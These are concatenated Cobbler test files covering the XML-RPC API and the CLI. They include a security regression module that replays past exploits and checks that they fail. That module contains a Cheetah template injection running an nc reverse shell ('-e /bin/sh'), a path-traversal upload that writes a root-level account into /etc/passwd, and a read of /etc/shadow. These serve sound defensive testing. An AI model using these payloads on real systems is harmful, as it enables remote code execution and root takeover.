remote.get_status("normal", token) # Assert assert result == {} @pytest.mark.skip( "The function under test appears to have a bug. For now we skip the test." ) def test_get_template_file_for_profile( remote: CobblerXMLRPCInterface, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_autoinstall_template: Callable[[str, str], None], remove_autoinstall_template: Callable[[str], None], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_template_for_profile" name_profile = "test_profile_template_for_profile" name_template = "test_template_for_profile" content_template = "# Testtemplate" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") create_autoinstall_template(name_template, content_template) # Act # TODO: Fix test & functionality! result = remote.get_template_file_for_profile(name_profile, name_template) # Cleanup remove_autoinstall_template(name_template) # Assert assert result == content_template def test_get_template_file_for_system( remote: CobblerXMLRPCInterface, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], create_autoinstall_template: Callable[[str, str], None], remove_autoinstall_template: Callable[[str], None], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_template_for_system" name_profile = "test_profile_template_for_system" name_system = "test_system_template_for_system" name_template = "test_template_for_system" content_template = "# Testtemplate" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") create_system(name_system, name_profile) create_autoinstall_template(name_template, content_template) # Act result = remote.get_template_file_for_system(name_system, name_template) # Cleanup remove_autoinstall_template(name_template) # Assert assert result def test_is_autoinstall_in_use( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_is_autoinstall_in_use" name_profile = "test_profile_is_autoinstall_in_use" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") # Act result = remote.is_autoinstall_in_use(name_profile, token) # Assert assert not result def test_logout(remote: CobblerXMLRPCInterface): """ Assert that any action with a token is not successful after using the "logout" method to invalidate the token. """ # Arrange shared_secret = get_shared_secret() newtoken = remote.login("", shared_secret) # type: ignore # Act resultlogout = remote.logout(newtoken) resulttokencheck = remote.token_check(newtoken) # Assert assert resultlogout assert not resulttokencheck @pytest.mark.parametrize( "setting_name,input_allow_dynamic_settings,input_value,expected_result", [ ("auth_token_expiration", True, 7200, 0), ("manage_dhcp", True, True, 0), ("manage_dhcp", False, True, 1), ("bootloaders_ipxe_folder", True, "/my/test/folder", 0), ("bootloaders_modules", True, ["fake", "bootloaders"], 0), ("mongodb", True, {"host": "test", "port": 1234}, 0), ], ) def test_modify_setting( remote: CobblerXMLRPCInterface, token: str, setting_name: str, input_allow_dynamic_settings: bool, input_value: Union[str, bool, float, int, Dict[Any, Any], List[Any]], expected_result: int, ): """ Test that all types of settings can be successfully set or not. """ # Arrange remote.api.settings().allow_dynamic_settings = input_allow_dynamic_settings # Act result = remote.modify_setting(setting_name, input_value, token) # Assert assert result == expected_result assert remote.get_settings().get(setting_name) == input_value def test_read_autoinstall_template( remote: CobblerXMLRPCInterface, token: str, create_autoinstall_template: Callable[[str, str], None], remove_autoinstall_template: Callable[[str], None], ): # Arrange name = "test_template_name" create_autoinstall_template(name, "# Testtemplate") # Act result = remote.read_autoinstall_template(name, token) # Cleanup remove_autoinstall_template(name) # Assert assert result def test_write_autoinstall_template( remote: CobblerXMLRPCInterface, token: str, remove_autoinstall_template: Callable[[str], None], ): # Arrange name = "testtemplate" # Act result = remote.write_autoinstall_template(name, "# Testtemplate", token) # Cleanup remove_autoinstall_template(name) # Assert assert result def test_remove_autoinstall_template( remote: CobblerXMLRPCInterface, token: str, create_autoinstall_template: Callable[[str, str], None], ): # Arrange name = "test_template_remove" create_autoinstall_template(name, "# Testtemplate") # Act result = remote.remove_autoinstall_template(name, token) # Assert assert result def test_read_autoinstall_snippet( remote: CobblerXMLRPCInterface, token: str, testsnippet: str, snippet_add: Callable[[str, str], None], snippet_remove: Callable[[str], None], ): # Arrange snippet_name = "testsnippet_read" snippet_add(snippet_name, testsnippet) # Act result = remote.read_autoinstall_snippet(snippet_name, token) # Assert assert result == testsnippet # Cleanup snippet_remove(snippet_name) def test_write_autoinstall_snippet( remote: CobblerXMLRPCInterface, token: str, testsnippet: str, snippet_remove: Callable[[str], None], ): # Arrange # See fixture: testsnippet name = "testsnippet_write" # Act result = remote.write_autoinstall_snippet(name, testsnippet, token) # Assert assert result # Cleanup snippet_remove(name) def test_remove_autoinstall_snippet( remote: CobblerXMLRPCInterface, token: str, snippet_add: Callable[[str, str], None], testsnippet: str, ): # Arrange name = "testsnippet_remove" snippet_add(name, testsnippet) # Act result = remote.remove_autoinstall_snippet(name, token) # Assert assert result def test_run_install_triggers( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" name_distro = "testdistro_run_install_triggers" name_profile = "testprofile_run_install_triggers" name_system = "testsystem_run_install_triggers" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") create_system(name_system, name_profile) # Act result_pre = remote.run_install_triggers( "pre", "system", name_system, "10.0.0.2", token ) result_post = remote.run_install_triggers( "post", "system", name_system, "10.0.0.2", token ) # Assert assert result_pre assert result_post def test_version(remote: CobblerXMLRPCInterface): # Arrange # Act result = remote.version() # Assert # Will fail if the version is adjusted in the setup.py assert result == 3.4 @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_profile", "remove_testdistro", "remove_testmenu", "remove_testprofile", ) def test_render_vars(remote: CobblerXMLRPCInterface, token: str): """ Test: string replacements for @@xyz@@ """ # Arrange --> There is nothing to be arranged kernel_options = "tree=http://@@http_server@@/cblr/links/@@distro_name@@" # Act distro = remote.get_item_handle("distro", "testdistro0") remote.modify_distro(distro, "kernel_options", kernel_options, token) remote.save_distro(distro, token) # Assert --> Let the test pass if the call is okay. assert True @pytest.mark.skip("Functionality is broken!") @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "create_testsystem", "remove_testdistro", "remove_testmenu", "remove_testprofile", "remove_testsystem", ) def test_upload_log_data(remote: CobblerXMLRPCInterface): # Arrange # Act result = remote.upload_log_data("testsystem0", "testinstall.log", 0, 0, b"asdas") # type: ignore # Assert assert isinstance(result, bool) assert result
22,400
Python
.py
572
34.375874
116
0.686034
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,054
security_test.py
cobbler_cobbler/tests/special_cases/security_test.py
""" This test module tries to automatically replicate all security incidents we had in the past and checks if they fail. """ # SPDX-License-Identifier: GPL-2.0-or-later import base64 import crypt import os import subprocess import xmlrpc.client from typing import Any, Callable import pytest from cobbler.api import CobblerAPI from cobbler.modules.authentication import pam from cobbler.utils import get_shared_secret # ==================== Start tnpconsultants ==================== # SPDX-FileCopyrightText: 2021 Nicolas Chatelain <nicolas.chatelain@tnpconsultants.com> @pytest.fixture(name="try_connect") def fixture_try_connect() -> Callable[[str], xmlrpc.client.ServerProxy]: def try_connect(url: str) -> xmlrpc.client.ServerProxy: xmlrpc_server = xmlrpc.client.ServerProxy(url) return xmlrpc_server return try_connect @pytest.fixture(autouse=True) def setup_profile( try_connect: Callable[[str], xmlrpc.client.ServerProxy], create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, ): cobbler_api = try_connect("http://localhost/cobbler_api") shared_secret = get_shared_secret() token = cobbler_api.login("", shared_secret) folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) # Create a test Distro distro = cobbler_api.new_distro(token) cobbler_api.modify_distro(distro, "name", "security_test_distro", token) cobbler_api.modify_distro(distro, "arch", "x86_64", token) cobbler_api.modify_distro(distro, "kernel", str(kernel_path), token) cobbler_api.modify_distro(distro, "initrd", str(initrd_path), token) cobbler_api.save_distro(distro, token) # Create a test Profile profile = cobbler_api.new_profile(token) cobbler_api.modify_profile(profile, "name", "security_test_profile", token) cobbler_api.modify_profile(profile, "distro", "security_test_distro", token) cobbler_api.save_profile(profile, token) yield cobbler_api.remove_profile("security_test_profile", token) cobbler_api.remove_distro("security_test_distro", token) def test_arbitrary_file_disclosure_1( setup_profile: Any, try_connect: Callable[[str], xmlrpc.client.ServerProxy] ): # Arrange cobbler_api = try_connect("http://localhost/cobbler_api") # Act profiles = cobbler_api.get_profiles() target: str = profiles[0]["name"] # type: ignore try: result: str = cobbler_api.generate_script(target, "", "/etc/shadow") # type: ignore # Assert this NOT succeeds assert not result.startswith("root") # type: ignore except xmlrpc.client.Fault as e: # We have no way of exactly knowing what is in there but if its a ValueError we most likely caught the exploit # before something happened. assert "ValueError" in e.faultString def test_template_injection_1( setup_profile: Any, try_connect: Callable[[str], xmlrpc.client.ServerProxy] ): # Arrange exploitcode = "__import__('os').system('nc [tnpitsecurity] 4242 -e /bin/sh')" cobbler_api = try_connect("http://localhost/cobbler_api") # Act profiles = cobbler_api.get_profiles() target: str = profiles[0]["name"] # type: ignore try: print("[+] Stage 1 : Poisoning log with Cheetah template RCE") result_stage_1: str = cobbler_api.generate_script( target, "", "{<%= " + exploitcode + " %>}" # type: ignore ) print("[+] Stage 2 : Rendering template using an arbitrary file read.") result_stage_2: str = cobbler_api.generate_script( # type: ignore target, "", "/var/log/cobbler/cobbler.log" # type: ignore ) # Assert this NOT succeeds assert not result_stage_1.startswith("__import__") # We should never get to stage two except xmlrpc.client.Fault as e: # We have no way of exactly knowing what is in there but if its a ValueError we most likely caught the exploit # before something happened. assert "ValueError" in e.faultString def test_arbitrary_file_write_1( setup_profile: Any, try_connect: Callable[[str], xmlrpc.client.ServerProxy] ): # Arrange cobbler_api = try_connect("http://localhost/cobbler_api") exploit = b"cha:!:0:0:cha:/:/bin/bash\n" # Act result = cobbler_api.upload_log_data( "../../../../../../etc", "passwd", len(exploit), 100000, base64.b64encode(exploit), ) # Assert this NOT succeeds assert result is False # ==================== END tnpconsultants ==================== # ==================== START ysf ==================== # SPDX-FileCopyrightText: 2022 ysf <nicolas.chatelain@tnpconsultants.com> def test_pam_login_with_expired_user(): # Arrange test_api = CobblerAPI() test_username = "expired_user" test_password = "password" # create pam testuser subprocess.run(["useradd", "-p", crypt.crypt(test_password), test_username]) # change user to be expired subprocess.run(["chage", "-E0", test_username]) # Act - Try login result = pam.authenticate(test_api, test_username, test_password) # Assert - Login failed assert not result # ==================== END ysf ====================
5,355
Python
.py
124
38.008065
118
0.670579
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,055
conftest.py
cobbler_cobbler/tests/cli/conftest.py
""" TODO """ from typing import Any, Callable, List, Tuple import pytest from cobbler.cli import CobblerCLI from cobbler.utils.process_management import service_restart @pytest.fixture(scope="function", autouse=True) def restart_daemon(): """ Restart cobblerd to re-read all collections after the automatic cleanup. """ service_restart("cobblerd") @pytest.fixture(scope="function") def run_cmd(capsys: pytest.CaptureFixture[str]) -> Callable[[Any], Tuple[str, str]]: """ Execute the cli command via the cli object. :param capsys: This is a pytest fixture to caputure the stdout and stderr :return: The output of the command :raises Exception: If something has gone wrong. """ def _run_cmd(cmd: List[str]): cmd.insert(0, "cli.py") cli = CobblerCLI(cmd) cli.check_setup() cli.run(cmd) # type: ignore return capsys.readouterr() return _run_cmd # type: ignore @pytest.fixture(scope="function") def list_objects( run_cmd: Callable[[Any], Tuple[str, str]] ) -> Callable[[str], List[str]]: """ Get objects of a type :return: Inner function which returns a list of objects. """ def _list_objects(object_type: str) -> List[str]: """ This is the actual function which is then executed by the outer one. :param object_type: object type :return: list objects """ objects: List[str] = [] (outputstd, outputerr) = run_cmd(cmd=[object_type, "list"]) # type: ignore lines = outputstd.split("\n") # type: ignore for line in lines: # type: ignore if line.strip() != "": # type: ignore objects.append(line.strip()) # type: ignore return objects return _list_objects
1,794
Python
.py
50
30.08
84
0.649884
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,056
cobbler_cli_object_test.py
cobbler_cobbler/tests/cli/cobbler_cli_object_test.py
import os import pytest dummy_file_path = "/root/dummy" @pytest.fixture(scope="class") def setup(): """ Initializes testcase """ # create files if necessary if not os.path.exists(dummy_file_path): open(dummy_file_path, "w").close() @pytest.fixture(scope="class") def teardown(): """ Cleans up testcase """ yield # remove files if os.path.exists(dummy_file_path): os.remove(dummy_file_path) @pytest.fixture(scope="function") def generate_run_cmd_array(): def _generate_run_cmd_array(dict_to_convert): result_array = [] for key in dict_to_convert: result_array.append("--%s=%s" % (key, dict_to_convert[key])) return result_array return _generate_run_cmd_array @pytest.fixture(scope="function") def add_object_via_cli(run_cmd, generate_run_cmd_array): def _add_object_via_cli(object_type, attributes): cmd_list = [object_type, "add"] options = generate_run_cmd_array(attributes) cmd_list.extend(options) run_cmd(cmd=cmd_list) return _add_object_via_cli @pytest.fixture(scope="function") def remove_object_via_cli(run_cmd): def _remove_object_via_cli(object_type, name): run_cmd(cmd=[object_type, "remove", "--name=%s" % name]) return _remove_object_via_cli @pytest.mark.usefixtures("setup", "teardown") class TestCobblerCliTestObject: """ Test CLI commands on objects """ def test_report(self, run_cmd): # Arrange expected = """distros: ========== profiles: ========== systems: ========== repos: ========== images: ========== menus: ========== """ # Act (outputstd, outputerr) = run_cmd(cmd=["report"]) # Assert assert outputstd == expected @pytest.mark.parametrize( "object_type", [ "distro", "profile", "system", "image", "repo", "menu", ], ) def test_report_with_type(self, run_cmd, object_type): # Arrange # Act (outputstd, outputerr) = run_cmd(cmd=[object_type, "report"]) # Assert assert outputstd is None or not outputstd @pytest.mark.parametrize( "object_type", [ "distro", "profile", "system", "image", "repo", "menu", ], ) def test_report_with_type_and_name(self, run_cmd, object_type): # Arrange name = "notexisting" # Act (outputstd, outputerr) = run_cmd( cmd=[object_type, "report", "--name=%s" % name] ) # Assert assert outputstd == "No %s found: %s\n" % (object_type, name) @pytest.mark.parametrize( "object_type,attributes,to_change,attr_long_name", [ ( "distro", { "name": "testdistroedit", "kernel": "Set in method", "initrd": "Set in method", "breed": "suse", "arch": "x86_64", }, ["comment", "Testcomment"], "Comment", ), ( "profile", {"name": "testprofileedit", "distro": "test_distro_edit_profile"}, ["comment", "Testcomment"], "Comment", ), ( "system", {"name": "test_system_edit", "profile": "test_profile_edit_system"}, ["comment", "Testcomment"], "Comment", ), ( "image", {"name": "test_image_edit"}, ["comment", "Testcomment"], "Comment", ), ( "repo", {"name": "testrepoedit", "mirror": "http://localhost"}, ["comment", "Testcomment"], "Comment", ), ("menu", {"name": "testmenuedit"}, ["comment", "Testcomment"], "Comment"), ], ) def test_edit( self, run_cmd, add_object_via_cli, remove_object_via_cli, create_kernel_initrd, fk_kernel, fk_initrd, object_type, attributes, to_change, attr_long_name, ): # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) name_distro_profile = "test_distro_edit_profile" name_distro_system = "test_distro_edit_system" name_profile_system = "test_profile_edit_system" if object_type == "distro": attributes["kernel"] = kernel_path attributes["initrd"] = initrd_path elif object_type == "profile": add_object_via_cli( "distro", { "name": name_distro_profile, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) elif object_type == "system": add_object_via_cli( "distro", { "name": name_distro_system, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) add_object_via_cli( "profile", {"name": name_profile_system, "distro": name_distro_system} ) add_object_via_cli(object_type, attributes) # Act run_cmd( cmd=[ object_type, "edit", "--name=%s" % attributes["name"], "--%s='%s'" % (to_change[0], to_change[1]), ] ) (outputstd, outputerr) = run_cmd( cmd=[object_type, "report", "--name=%s" % attributes["name"]] ) # Cleanup remove_object_via_cli(object_type, attributes["name"]) if object_type == "profile": remove_object_via_cli("distro", name_distro_profile) elif object_type == "system": remove_object_via_cli("profile", name_profile_system) remove_object_via_cli("distro", name_distro_system) # Assert expected = attr_long_name + ":'" + to_change[1] + "'" print('Expected: "' + expected + '"') lines = outputstd.split("\n") found = False for line in lines: line = line.replace(" ", "") print('Line: "' + line + '"') if line == expected: found = True assert found @pytest.mark.parametrize( "object_type,attributes", [ ( "distro", { "name": "testdistrofind", "kernel": "Set in method", "initrd": "Set in method", "breed": "suse", "arch": "x86_64", }, ), ("profile", {"name": "testprofilefind", "distro": ""}), ("system", {"name": "testsystemfind", "profile": ""}), ("image", {"name": "testimagefind"}), ("repo", {"name": "testrepofind", "mirror": "http://localhost"}), ("menu", {"name": "testmenufind"}), ], ) def test_find( self, run_cmd, add_object_via_cli, remove_object_via_cli, create_kernel_initrd, fk_initrd, fk_kernel, object_type, attributes, ): # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) name_distro_profile = "testdistro_find_profile" name_distro_system = "testdistro_find_system" name_profile_system = "testprofile_find_system" if object_type == "distro": attributes["kernel"] = kernel_path attributes["initrd"] = initrd_path elif object_type == "profile": attributes["distro"] = name_distro_profile add_object_via_cli( "distro", { "name": name_distro_profile, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) elif object_type == "system": attributes["profile"] = name_profile_system add_object_via_cli( "distro", { "name": name_distro_system, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) add_object_via_cli( "profile", {"name": name_profile_system, "distro": name_distro_system} ) add_object_via_cli(object_type, attributes) # Act (outputstd, outputerr) = run_cmd( cmd=[object_type, "find", "--name='%s'" % attributes["name"]] ) # Cleanup remove_object_via_cli(object_type, attributes["name"]) if object_type == "profile": remove_object_via_cli("distro", name_distro_profile) elif object_type == "system": remove_object_via_cli("profile", name_profile_system) remove_object_via_cli("distro", name_distro_system) # Assert lines = outputstd.split("\n") assert len(lines) >= 1 @pytest.mark.parametrize( "object_type,attributes", [ ( "distro", { "name": "testdistrocopy", "kernel": "Set in method", "initrd": "Set in method", "breed": "suse", "arch": "x86_64", }, ), ( "profile", {"name": "testprofilecopy", "distro": "testdistro_copy_profile"}, ), ( "system", {"name": "testsystemcopy", "profile": "testprofile_copy_system"}, ), ("image", {"name": "testimagecopy"}), ("repo", {"name": "testrepocopy", "mirror": "http://localhost"}), ("menu", {"name": "testmenucopy"}), ], ) def test_copy( self, run_cmd, add_object_via_cli, remove_object_via_cli, create_kernel_initrd, fk_initrd, fk_kernel, object_type, attributes, ): # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) name_distro_profile = "testdistro_copy_profile" name_distro_system = "testdistro_copy_system" name_profile_system = "testprofile_copy_system" if object_type == "distro": attributes["kernel"] = kernel_path attributes["initrd"] = initrd_path elif object_type == "profile": add_object_via_cli( "distro", { "name": name_distro_profile, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) elif object_type == "system": add_object_via_cli( "distro", { "name": name_distro_system, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) add_object_via_cli( "profile", {"name": name_profile_system, "distro": name_distro_system} ) add_object_via_cli(object_type, attributes) new_object_name = "%s-copy" % attributes["name"] # Act (outputstd, outputerr) = run_cmd( cmd=[ object_type, "copy", "--name=%s" % attributes["name"], "--newname=%s" % new_object_name, ] ) # Cleanup remove_object_via_cli(object_type, attributes["name"]) remove_object_via_cli(object_type, new_object_name) if object_type == "profile": remove_object_via_cli("distro", name_distro_profile) elif object_type == "system": remove_object_via_cli("profile", name_profile_system) remove_object_via_cli("distro", name_distro_system) # Assert assert not outputstd @pytest.mark.parametrize( "object_type,attributes", [ ( "distro", { "name": "testdistrorename", "kernel": "Set in method", "initrd": "Set in method", "breed": "suse", "arch": "x86_64", }, ), ( "profile", {"name": "testprofilerename", "distro": "testdistro_rename_profile"}, ), ( "system", {"name": "testsystemrename", "profile": "testprofile_rename_system"}, ), ("image", {"name": "testimagerename"}), ("repo", {"name": "testreporename", "mirror": "http://localhost"}), ("menu", {"name": "testmenurename"}), ], ) def test_rename( self, run_cmd, add_object_via_cli, remove_object_via_cli, create_kernel_initrd, fk_initrd, fk_kernel, object_type, attributes, ): # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) name_distro_profile = "testdistro_rename_profile" name_distro_system = "testdistro_rename_system" name_profile_system = "testprofile_rename_system" if object_type == "distro": attributes["kernel"] = kernel_path attributes["initrd"] = initrd_path elif object_type == "profile": add_object_via_cli( "distro", { "name": name_distro_profile, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) elif object_type == "system": add_object_via_cli( "distro", { "name": name_distro_system, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) add_object_via_cli( "profile", {"name": name_profile_system, "distro": name_distro_system} ) add_object_via_cli(object_type, attributes) new_object_name = "%s-renamed" % attributes["name"] # Act (outputstd, outputerr) = run_cmd( cmd=[ object_type, "rename", "--name=%s" % attributes["name"], "--newname=%s" % new_object_name, ] ) # Cleanup remove_object_via_cli(object_type, new_object_name) if object_type == "profile": remove_object_via_cli("distro", name_distro_profile) elif object_type == "system": remove_object_via_cli("profile", name_profile_system) remove_object_via_cli("distro", name_distro_system) # Assert assert not outputstd @pytest.mark.parametrize( "object_type,attributes", [ ( "distro", { "name": "testdistroadd", "kernel": "Set in method", "initrd": "Set in method", "breed": "suse", "arch": "x86_64", }, ), ("profile", {"name": "testprofileadd", "distro": "testdistroadd_profile"}), ("system", {"name": "testsystemadd", "profile": "testprofileadd_system"}), ("image", {"name": "testimageadd"}), ("repo", {"name": "testrepoadd", "mirror": "http://localhost"}), ("menu", {"name": "testmenuadd"}), ], ) def test_add( self, run_cmd, remove_object_via_cli, generate_run_cmd_array, create_kernel_initrd, fk_initrd, fk_kernel, add_object_via_cli, object_type, attributes, ): # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) name_distro_profile = "testdistroadd_profile" name_distro_system = "testdistroadd_system" name_profile_system = "testprofileadd_system" if object_type == "distro": attributes["kernel"] = kernel_path attributes["initrd"] = initrd_path elif object_type == "profile": add_object_via_cli( "distro", { "name": name_distro_profile, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) elif object_type == "system": add_object_via_cli( "distro", { "name": name_distro_system, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) add_object_via_cli( "profile", {"name": name_profile_system, "distro": name_distro_system} ) cmd_list = [object_type, "add"] options = generate_run_cmd_array(attributes) cmd_list.extend(options) # Act (outputstd, outputerr) = run_cmd(cmd=cmd_list) # Cleanup remove_object_via_cli(object_type, attributes["name"]) if object_type == "profile": remove_object_via_cli("distro", name_distro_profile) elif object_type == "system": remove_object_via_cli("profile", name_profile_system) remove_object_via_cli("distro", name_distro_system) # Assert assert not outputstd @pytest.mark.parametrize( "object_type,attributes", [ ( "distro", { "name": "testdistroremove", "kernel": "Set in method", "initrd": "Set in method", "breed": "suse", "arch": "x86_64", }, ), ( "profile", {"name": "testprofileremove", "distro": "testdistroremove_profile"}, ), ( "system", {"name": "testsystemremove", "profile": "testprofileremove_system"}, ), ("image", {"name": "testimageremove"}), ("repo", {"name": "testreporemove", "mirror": "http://localhost"}), ("menu", {"name": "testmenuremove"}), ], ) def test_remove( self, run_cmd, add_object_via_cli, remove_object_via_cli, create_kernel_initrd, fk_initrd, fk_kernel, object_type, attributes, ): # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_kernel) name_distro_profile = "testdistroremove_profile" name_distro_system = "testdistroremove_system" name_profile_system = "testprofileremove_system" if object_type == "distro": attributes["kernel"] = kernel_path attributes["initrd"] = initrd_path elif object_type == "profile": add_object_via_cli( "distro", { "name": name_distro_profile, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) elif object_type == "system": add_object_via_cli( "distro", { "name": name_distro_system, "kernel": kernel_path, "initrd": initrd_path, "breed": "suse", "arch": "x86_64", }, ) add_object_via_cli( "profile", {"name": name_profile_system, "distro": name_distro_system} ) add_object_via_cli(object_type, attributes) # Act (outputstd, outputerr) = run_cmd( cmd=[object_type, "remove", "--name=%s" % attributes["name"]] ) # Cleanup if object_type == "profile": remove_object_via_cli("distro", name_distro_profile) elif object_type == "system": remove_object_via_cli("profile", name_profile_system) remove_object_via_cli("distro", name_distro_system) # Assert assert not outputstd
22,174
Python
.py
657
21.517504
87
0.470435
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,057
cobbler_cli_direct_test.py
cobbler_cobbler/tests/cli/cobbler_cli_direct_test.py
import os import re import pytest dummy_file_path = "/root/dummy" @pytest.fixture(scope="function") def get_last_line(): def _get_last_line(lines): i = len(lines) - 1 while lines[i] == "" and i > 0: i -= 1 return lines[i] return _get_last_line @pytest.fixture(scope="function") def assert_list_section(): def _assert_list_section(lines, start_line, section_name): i = start_line assert lines[i] == "%s:" % section_name i += 1 while lines[i] != "": i += 1 i += 1 return i return _assert_list_section @pytest.fixture(scope="function") def assert_report_section(): def _assert_report_section(lines, start_line, section_name): i = start_line assert lines[i] == "%s:" % section_name i += 1 match_obj = re.match(r"=+$", lines[i].strip()) assert match_obj is not None i += 1 while i < len(lines) - 1 and re.match(r"=+$", lines[i + 1]) is None: while i < len(lines) and lines[i] != "": i += 1 while i < len(lines) and lines[i] == "": i += 1 return i return _assert_report_section class TestCobblerCliTestDirect: """ Tests Cobbler CLI direct commands """ def test_cobbler_version(self, run_cmd): """Runs 'cobbler version'""" (outputstd, outputerr) = run_cmd(cmd=["version"]) line = outputstd.split("\n")[0] match_obj = re.match(r"Cobbler \d+\.\d+\.\d+", line) assert match_obj is not None def test_cobbler_status(self, run_cmd): """Runs 'cobbler status'""" (outputstd, outputerr) = run_cmd(cmd=["status"]) lines = outputstd.split("\n") match_obj = re.match(r"ip\s+|target\s+|start\s+|state\s+", lines[0]) assert match_obj is not None def test_cobbler_sync(self, run_cmd, get_last_line): """Runs 'cobbler sync'""" (outputstd, outputerr) = run_cmd(cmd=["sync"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_sync_dns(self, run_cmd, get_last_line): """Runs 'cobbler sync --dns'""" (outputstd, outputerr) = run_cmd(cmd=["sync", "--dns"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_sync_dhcp(self, run_cmd, get_last_line): """Runs 'cobbler sync --dhcp'""" (outputstd, outputerr) = run_cmd(cmd=["sync", "--dhcp"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_sync_dhcp_dns(self, run_cmd, get_last_line): """Runs 'cobbler sync --dhcp --dns'""" (outputstd, outputerr) = run_cmd(cmd=["sync", "--dhcp", "--dns"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_sync_systems(self, run_cmd, get_last_line): """Runs 'cobbler sync'""" (outputstd, outputerr) = run_cmd(cmd=["sync", "--systems=a.b.c,a.d.c"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_signature_report(self, run_cmd, get_last_line): """Runs 'cobbler signature report'""" (outputstd, outputerr) = run_cmd(cmd=["signature", "report"]) lines = outputstd.split("\n") assert "Currently loaded signatures:" == lines[0] expected_output = r"\d+ breeds with \d+ total signatures loaded" match_obj = re.match(expected_output, get_last_line(lines)) assert match_obj is not None def test_cobbler_signature_update(self, run_cmd, get_last_line): """Runs 'cobbler signature update'""" (outputstd, outputerr) = run_cmd(cmd=["signature", "update"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_acl_adduser(self, run_cmd): """Runs 'cobbler aclsetup --adduser'""" (outputstd, outputerr) = run_cmd(cmd=["aclsetup", "--adduser=cobbler"]) # TODO: verify user acl exists on directories def test_cobbler_acl_addgroup(self, run_cmd): """Runs 'cobbler aclsetup --addgroup'""" (outputstd, outputerr) = run_cmd(cmd=["aclsetup", "--addgroup=cobbler"]) 